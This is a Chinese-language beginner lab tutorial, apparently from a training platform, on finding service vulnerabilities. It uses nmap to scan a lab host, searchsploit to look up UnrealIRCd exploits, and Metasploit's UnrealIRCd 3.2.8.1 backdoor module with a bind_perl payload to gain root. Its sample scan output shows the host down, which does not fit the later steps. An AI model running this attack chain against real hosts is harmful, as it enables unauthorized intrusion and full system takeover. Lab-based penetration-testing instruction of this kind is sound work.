发现网络服务漏洞

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

网络扫描是一门极其注重实践的学科。通过网络扫描,用户可以发现目标主机上分配给各种服务的端口、开放的服务、服务软件及其版本等信息。

在本实验中,你将学习如何扫描目标主机的网络服务安全漏洞。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/NmapGroup(["`Nmap`"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("`Nmap Port Scanning Methods`") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416121{{"`发现网络服务漏洞`"}} end

使用 Nmap 扫描目标主机的开放端口

网络扫描的基本工作流程如下:

  1. 发现目标主机
  2. 端口扫描
  3. 指纹信息扫描
  4. 漏洞扫描
  5. 执行渗透攻击

Nmap(Network Mapper)是一款功能强大的网络扫描工具。它支持多种扫描技术,例如 UDP、TCP connect()、TCP SYN(半开扫描)、FTP 代理(反弹攻击)、反向标志、ICMP、FIN、ACK 扫描、SYN 扫描和空扫描。

在本步骤中,你将使用 Nmap 扫描目标主机的开放端口。

  1. 打开终端并进入 Kali 容器:
docker run -ti --network host b5b709a49cd5 bash
  1. 使用 nmap 命令扫描目标主机 192.168.122.102:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

该命令扫描目标主机上从 1 到 65535 的所有端口,使用时间策略 4(更快),启用操作系统指纹识别和版本检测,并将输出保存到 /tmp/report.txt

分析扫描结果

扫描目标主机后,你需要分析扫描结果以识别潜在的漏洞。

  1. 查看扫描报告:
cat /tmp/report.txt

该命令显示 /tmp/report.txt 文件的内容,其中包含目标主机上开放端口、服务及其版本的信息。以下是你可能会看到的输出示例:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. 使用 searchsploit 工具搜索漏洞信息:
searchsploit unreal ircd

该命令在 Exploit Database 中搜索与 "unreal ircd" 服务相关的漏洞。以下是你可能会看到的输出示例:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. 查看漏洞的详细信息:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

该命令显示位于 /usr/share/exploitdb/exploits/linux/remote/16922.rb 的漏洞利用文件的内容。

利用漏洞

在分析扫描结果并识别出潜在漏洞后,你可以尝试利用漏洞进行渗透攻击。

  1. 从扫描结果中识别出一个可利用的漏洞。例如,假设扫描发现了一个开放端口 6667,并且该端口上运行了一个存在漏洞的服务。

  2. 启动 Metasploit Framework:

cd ~
msfconsole
  1. 在 Metasploit 控制台中,选择合适的漏洞利用模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 设置目标主机的 IP 地址:
set RHOST 192.168.122.102
  1. 设置有效载荷(payload):
set PAYLOAD cmd/unix/bind_perl
  1. 启动漏洞利用:
exploit

如果漏洞利用成功,你将获得对目标主机的访问权限。

  1. 尝试利用漏洞后,你应验证漏洞利用是否成功。在 Metasploit 会话中,检查当前用户和主机名:
whoami
hostname

如果输出显示你以 root 用户身份登录,并且主机名与目标主机匹配,则漏洞利用成功。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你学习了网络扫描的基本工作流程,包括发现目标主机、端口扫描、指纹信息扫描、漏洞扫描以及执行渗透攻击。你使用了强大的 Nmap 工具扫描目标主机的开放端口,并分析了扫描结果以识别潜在漏洞。此外,你还学习了如何使用 searchsploit 工具搜索漏洞信息,以及如何使用 Metasploit Framework 利用漏洞。最后,你通过检查目标主机上的当前用户和主机名验证了漏洞利用的成功。

通过这个动手实验,你获得了扫描网络服务安全漏洞和执行渗透攻击的实践经验。这些知识对于确保网络系统的安全性和识别潜在风险至关重要。

您可能感兴趣的其他 Cybersecurity 教程